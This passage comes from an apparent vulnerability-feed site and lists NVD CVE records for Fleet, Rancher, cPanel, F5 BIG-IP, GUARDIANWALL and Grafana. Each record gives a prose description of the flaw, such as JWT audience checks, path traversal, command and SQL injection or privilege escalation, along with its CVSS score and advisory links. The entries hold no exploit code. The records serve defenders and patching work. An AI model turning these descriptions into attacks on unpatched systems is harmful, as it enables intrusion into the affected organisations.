Sources:
NVD CVE-2026-24899: https://nvd.nist.gov/vuln/detail/CVE-2026-24899
Vendor advisory (via NVD references): https://github.com/fleetdm/fleet/security/advisories/GHSA-ffg9-j72f-j6xm
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Fleet is open source device management software. Prior to version 4.82.0, a vulnerability in Fleet's Windows MDM enrollment flow allows authentication tokens from any Azure AD tenant to be accepted. Because Fleet validates JWT signatures using Microsoft's multi-tenant JWKS endpoint but does not enforce the `aud` (audience) or `iss` (issuer) claims, any Microsoft-signed Azure AD access token containing the expected scopes can be used to authenticate to Fleet's MDM endpoints. If Windows MDM is enabled, an attacker with access to any Azure AD tenant can obtain a valid Microsoft-signed token and use it to enroll unauthorized devices and interact with Fleet's MDM management APIs. During device management, Fleet may expose sensitive enrollment secrets embedded in MDM command payloads, enabling further unauthorized access. Version 4.82.0 contains a patch. If an immediate upgrade is not possible, affected Fleet users should temporarily disable Windows MDM.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in [Rancher's Extensions](https://ranchermanager.docs.rancher.com/integrations-in-rancher/rancher-extensions) where malicious code can be...
https://kevwire.com/record/CVE-2026-25705
A vulnerability has been identified in [Rancher's Extensions](https://ranchermanager.docs.rancher.com/integrations-in-rancher/rancher-extensions) where malicious code can be... (May 13, 2026).
A vulnerability has been identified in [Rancher's Extensions](https://ranchermanager.docs.rancher.com/integrations-in-rancher/rancher-extensions) where malicious code can be injected in Rancher through a path traversal in the `compressedEndpoint` field inside a `UIPlugin` deployment. A malicious UI extension could abuse that to:  *  Overwrite Rancher binaries or configuration to inject code.

  *  Write to /var/lib/rancher/ to tamper with cluster state.

  *  If hostPath volumes are mounted, write to the host node filesystem.

  *  Use this issue to chain with other attack vectors.
CVSS 8.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-25705).
Sources:
NVD CVE-2026-25705: https://nvd.nist.gov/vuln/detail/CVE-2026-25705
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A vulnerability has been identified in [Rancher's Extensions](https://ranchermanager.docs.rancher.com/integrations-in-rancher/rancher-extensions) where malicious code can be injected in Rancher through a path traversal in the `compressedEndpoint` field inside a `UIPlugin` deployment. A malicious UI extension could abuse that to:  *  Overwrite Rancher binaries or configuration to inject code.

  *  Write to /var/lib/rancher/ to tamper with cluster state.

  *  If hostPath volumes are mounted, write to the host node filesystem.

  *  Use this issue to chain with other attack vectors.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Fleet is open source device management software.
https://kevwire.com/record/CVE-2026-26062
Fleet is open source device management software. (May 14, 2026).
Fleet is open source device management software. Prior to version 4.81.0, Fleet contained a denial-of-service (DoS) issue in the gRPC Launcher `PublishLogs` endpoint. In affected versions, certain unexpected input values were not handled gracefully, which could cause the Fleet server process to terminate while processing an authenticated request from an enrolled Launcher host. An authenticated attacker with access to any enrolled Launcher node key could cause an immediate and complete denial of service by sending a single gRPC request to the `PublishLogs` endpoint. This vulnerability impacts availability only. There is no exposure of sensitive data, no authentication bypass, no privilege escalation, and no integrity impact. Version 4.81.0 contains a patch. If upgrading immediately is not possible, the following mitigations can reduce exposure.  Restrict network access to the Fleet gRPC endpoint where feasible (for example, limiting inbound access to known host IP ranges); deploy Fleet behind infrastructure that terminates or filters gRPC traffic if Launcher log ingestion is not required; and/or monitor for repeated Fleet process crashes or unexpected restarts indicating potential exploitation.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-26062).
Sources:
NVD CVE-2026-26062: https://nvd.nist.gov/vuln/detail/CVE-2026-26062
Vendor advisory (via NVD references): https://github.com/fleetdm/fleet/security/advisories/GHSA-x67p-9m2r-fxqv
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Fleet is open source device management software. Prior to version 4.81.0, Fleet contained a denial-of-service (DoS) issue in the gRPC Launcher `PublishLogs` endpoint. In affected versions, certain unexpected input values were not handled gracefully, which could cause the Fleet server process to terminate while processing an authenticated request from an enrolled Launcher host. An authenticated attacker with access to any enrolled Launcher node key could cause an immediate and complete denial of service by sending a single gRPC request to the `PublishLogs` endpoint. This vulnerability impacts availability only. There is no exposure of sensitive data, no authentication bypass, no privilege escalation, and no integrity impact. Version 4.81.0 contains a patch. If upgrading immediately is not possible, the following mitigations can reduce exposure.  Restrict network access to the Fleet gRPC endpoint where feasible (for example, limiting inbound access to known host IP ranges); deploy Fleet behind infrastructure that terminates or filters gRPC traffic if Launcher log ingestion is not required; and/or monitor for repeated Fleet process crashes or unexpected restarts indicating potential exploitation.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Fleet is open source device management software.
https://kevwire.com/record/CVE-2026-26191
Fleet is open source device management software. (May 14, 2026).
Fleet is open source device management software. Prior to version 4.81.0, a vulnerability in Fleet's software installer pipeline could allow a crafted software package to execute arbitrary commands as root (macOS/Linux) or SYSTEM (Windows) on managed endpoints when an uninstall is triggered. When a software package (.pkg, .deb, .rpm, .exe, or .msi) is uploaded to Fleet, metadata is extracted from the package binary and used to generate uninstall scripts. In affected versions, this metadata is not properly sanitized before being included in the generated scripts. A specially crafted package containing malicious values in its metadata fields could result in unintended command execution when the uninstall script runs on managed endpoints. Version 4.81.0 contains a patch. If an immediate upgrade is not possible, administrators should avoid uploading software packages obtained from untrusted or unverified sources. Additionally, administrators can manually inspect and edit auto-generated uninstall scripts before deployment.
CVSS 6.0 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-26191).
Sources:
NVD CVE-2026-26191: https://nvd.nist.gov/vuln/detail/CVE-2026-26191
Vendor advisory (via NVD references): https://github.com/fleetdm/fleet/security/advisories/GHSA-9vcr-g537-3w5v
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Fleet is open source device management software. Prior to version 4.81.0, a vulnerability in Fleet's software installer pipeline could allow a crafted software package to execute arbitrary commands as root (macOS/Linux) or SYSTEM (Windows) on managed endpoints when an uninstall is triggered. When a software package (.pkg, .deb, .rpm, .exe, or .msi) is uploaded to Fleet, metadata is extracted from the package binary and used to generate uninstall scripts. In affected versions, this metadata is not properly sanitized before being included in the generated scripts. A specially crafted package containing malicious values in its metadata fields could result in unintended command execution when the uninstall script runs on managed endpoints. Version 4.81.0 contains a patch. If an immediate upgrade is not possible, administrators should avoid uploading software packages obtained from untrusted or unverified sources. Additionally, administrators can manually inspect and edit auto-generated uninstall scripts before deployment.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect privileges management and insufficient path filtering allow to read arbitrary file on the server via the cpdavd attachment download endpoints.
https://kevwire.com/record/CVE-2026-29205
Incorrect privileges management and insufficient path filtering allow to read arbitrary file on the server via the cpdavd attachment download endpoints. (May 13, 2026).
Incorrect privileges management and insufficient path filtering allow to read arbitrary file on the server via the cpdavd attachment download endpoints.
CVSS 8.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-29205).
Sources:
NVD CVE-2026-29205: https://nvd.nist.gov/vuln/detail/CVE-2026-29205
Vendor advisory (via NVD references): https://support.cpanel.net/hc/en-us/articles/40437020299927-Security-CVE-2026-29205-cPanel-WHM-WP2-Security-Update-May-13-2026
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Incorrect privileges management and insufficient path filtering allow to read arbitrary file on the server via the cpdavd attachment download endpoints.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Insufficient sanitization of SQL queries in the `sqloptimizer` utility script allows SQL Injections on behalf of the root user if Slow Query logging is enabled.
https://kevwire.com/record/CVE-2026-29206
Insufficient sanitization of SQL queries in the `sqloptimizer` utility script allows SQL Injections on behalf of the root user if Slow Query logging is enabled. (May 13, 2026).
Insufficient sanitization of SQL queries in the `sqloptimizer` utility script allows SQL Injections on behalf of the root user if Slow Query logging is enabled.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-29206).
Sources:
NVD CVE-2026-29206: https://nvd.nist.gov/vuln/detail/CVE-2026-29206
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Insufficient sanitization of SQL queries in the `sqloptimizer` utility script allows SQL Injections on behalf of the root user if Slow Query logging is enabled.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Certificate Manager role can modify configuration objects...
https://kevwire.com/record/CVE-2026-32643
A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Certificate Manager role can modify configuration objects... (May 13, 2026).
A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Certificate Manager role can modify configuration objects that allow running arbitrary commands.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-32643).
Sources:
NVD CVE-2026-32643: https://nvd.nist.gov/vuln/detail/CVE-2026-32643
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000160972
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Certificate Manager role can modify configuration objects that allow running arbitrary commands.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow vulnerability exists in GUARDIANWALL MailSuite and GUARDIANWALL Mail Security Cloud (SaaS version).
https://kevwire.com/record/CVE-2026-32661
Stack-based buffer overflow vulnerability exists in GUARDIANWALL MailSuite and GUARDIANWALL Mail Security Cloud (SaaS version). (May 13, 2026).
Stack-based buffer overflow vulnerability exists in GUARDIANWALL MailSuite and GUARDIANWALL Mail Security Cloud (SaaS version). If a remote attacker sends a specially crafted request to the product's web service, arbitrary code may be executed when the product is configured to run pop3wallpasswd with grdnwww user privilege.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-32661).
Sources:
NVD CVE-2026-32661: https://nvd.nist.gov/vuln/detail/CVE-2026-32661
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Stack-based buffer overflow vulnerability exists in GUARDIANWALL MailSuite and GUARDIANWALL Mail Security Cloud (SaaS version). If a remote attacker sends a specially crafted request to the product's web service, arbitrary code may be executed when the product is configured to run pop3wallpasswd with grdnwww user privilege.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability exists in BIG-IP scripted monitors that may allow an authenticated attacker with the Resource Administrator or Administrator role to execute arbitrary system...
https://kevwire.com/record/CVE-2026-32673
A vulnerability exists in BIG-IP scripted monitors that may allow an authenticated attacker with the Resource Administrator or Administrator role to execute arbitrary system... (May 13, 2026).
A vulnerability exists in BIG-IP scripted monitors that may allow an authenticated attacker with the Resource Administrator or Administrator role to execute arbitrary system commands with higher privileges. In appliance mode deployments, a successful exploit can allow the attacker to cross a security boundary.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-32673).
Sources:
NVD CVE-2026-32673: https://nvd.nist.gov/vuln/detail/CVE-2026-32673
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000161040
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A vulnerability exists in BIG-IP scripted monitors that may allow an authenticated attacker with the Resource Administrator or Administrator role to execute arbitrary system commands with higher privileges. In appliance mode deployments, a successful exploit can allow the attacker to cross a security boundary.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Timing limitations of the HRNG in RS9116 when power save mode is enabled results in predictable values
https://kevwire.com/record/CVE-2026-3290
Timing limitations of the HRNG in RS9116 when power save mode is enabled results in predictable values (May 14, 2026).
Timing limitations of the HRNG in RS9116 when power save mode is enabled results in predictable values
CVSS 7.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-3290).
Sources:
NVD CVE-2026-3290: https://nvd.nist.gov/vuln/detail/CVE-2026-3290
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Timing limitations of the HRNG in RS9116 when power save mode is enabled results in predictable values

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper authorization checks of team members privileges allow a team member to escalate privileges to the team owner account.
https://kevwire.com/record/CVE-2026-32991
Improper authorization checks of team members privileges allow a team member to escalate privileges to the team owner account. (May 13, 2026).
Improper authorization checks of team members privileges allow a team member to escalate privileges to the team owner account.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-32991).
Sources:
NVD CVE-2026-32991: https://nvd.nist.gov/vuln/detail/CVE-2026-32991
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Improper authorization checks of team members privileges allow a team member to escalate privileges to the team owner account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SSL verification is disabled in the DNS Cluster system.
https://kevwire.com/record/CVE-2026-32992
SSL verification is disabled in the DNS Cluster system. (May 13, 2026).
SSL verification is disabled in the DNS Cluster system. This could allow for a malicious server to man-in-the-middle the request and capture credentials.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-32992).
Sources:
NVD CVE-2026-32992: https://nvd.nist.gov/vuln/detail/CVE-2026-32992
Vendor advisory (via NVD references): https://support.cpanel.net/hc/en-us/articles/40437241987607-Security-CVE-2026-32992-cPanel-WHM-WP2-Security-Update-May-13-2026
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
SSL verification is disabled in the DNS Cluster system. This could allow for a malicious server to man-in-the-middle the request and capture credentials.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper sanitization of the `status` query parameter of the `/unprotected/nova_error` endpoint allows unauthenticated attacker to inject arbitrary HTTP header to the response.
https://kevwire.com/record/CVE-2026-32993
Improper sanitization of the `status` query parameter of the `/unprotected/nova_error` endpoint allows unauthenticated attacker to inject arbitrary HTTP header to the response. (May 13, 2026).
Improper sanitization of the `status` query parameter of the `/unprotected/nova_error` endpoint allows unauthenticated attacker to inject arbitrary HTTP header to the response.
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-32993).
Sources:
NVD CVE-2026-32993: https://nvd.nist.gov/vuln/detail/CVE-2026-32993
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Improper sanitization of the `status` query parameter of the `/unprotected/nova_error` endpoint allows unauthenticated attacker to inject arbitrary HTTP header to the response.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When using an IPv6 allow-list for the Auth Proxy feature, it defaults to /32 addresses.
https://kevwire.com/record/CVE-2026-33376
When using an IPv6 allow-list for the Auth Proxy feature, it defaults to /32 addresses. (May 13, 2026).
When using an IPv6 allow-list for the Auth Proxy feature, it defaults to /32 addresses. Addresses specifying a mask explicitly are not affected; to mitigate easily, add the desired mask (usually /128) to the addresses. Only auth proxy is affected; Okta, SAML, LDAP, etc are unaffected here.
CVSS 7.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33376).
Sources:
NVD CVE-2026-33376: https://nvd.nist.gov/vuln/detail/CVE-2026-33376
Vendor advisory (via NVD references): https://grafana.com/security/security-advisories/cve-2026-33376
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
When using an IPv6 allow-list for the Auth Proxy feature, it defaults to /32 addresses. Addresses specifying a mask explicitly are not affected; to mitigate easily, add the desired mask (usually /128) to the addresses. Only auth proxy is affected; Okta, SAML, LDAP, etc are unaffected here.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Editor can overwrite a dashboard not owned by them to acquire admin on that specific dashboard.
https://kevwire.com/record/CVE-2026-33377
An Editor can overwrite a dashboard not owned by them to acquire admin on that specific dashboard. (May 13, 2026).
An Editor can overwrite a dashboard not owned by them to acquire admin on that specific dashboard. The user must have write access to the dashboard to escalate privilege.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33377).
Sources:
NVD CVE-2026-33377: https://nvd.nist.gov/vuln/detail/CVE-2026-33377
Vendor advisory (via NVD references): https://grafana.com/security/security-advisories/cve-2026-33377
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
An Editor can overwrite a dashboard not owned by them to acquire admin on that specific dashboard. The user must have write access to the dashboard to escalate privilege.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When a user's access to mint tokens for a service account is revoked, it is sometimes still possible to do so for a few seconds after the event.
https://kevwire.com/record/CVE-2026-33381
When a user's access to mint tokens for a service account is revoked, it is sometimes still possible to do so for a few seconds after the event. (May 13, 2026).
When a user's access to mint tokens for a service account is revoked, it is sometimes still possible to do so for a few seconds after the event. The user will eventually lose access to do this.
CVSS 5.9 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33381).
Sources:
NVD CVE-2026-33381: https://nvd.nist.gov/vuln/detail/CVE-2026-33381
Vendor advisory (via NVD references): https://grafana.com/security/security-advisories/cve-2026-33381
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
When a user's access to mint tokens for a service account is revoked, it is sometimes still possible to do so for a few seconds after the event. The user will eventually lose access to do this.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When running in Appliance mode, an authenticated remote command injection vulnerability exists in an undisclosed iControl REST endpoint.
https://kevwire.com/record/CVE-2026-34176
When running in Appliance mode, an authenticated remote command injection vulnerability exists in an undisclosed iControl REST endpoint. (May 13, 2026).
When running in Appliance mode, an authenticated remote command injection vulnerability exists in an undisclosed iControl REST endpoint. A successful exploit can allow the attacker to cross a security boundary.  

Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-34176).
Sources:
NVD CVE-2026-34176: https://nvd.nist.gov/vuln/detail/CVE-2026-34176
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000160857
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
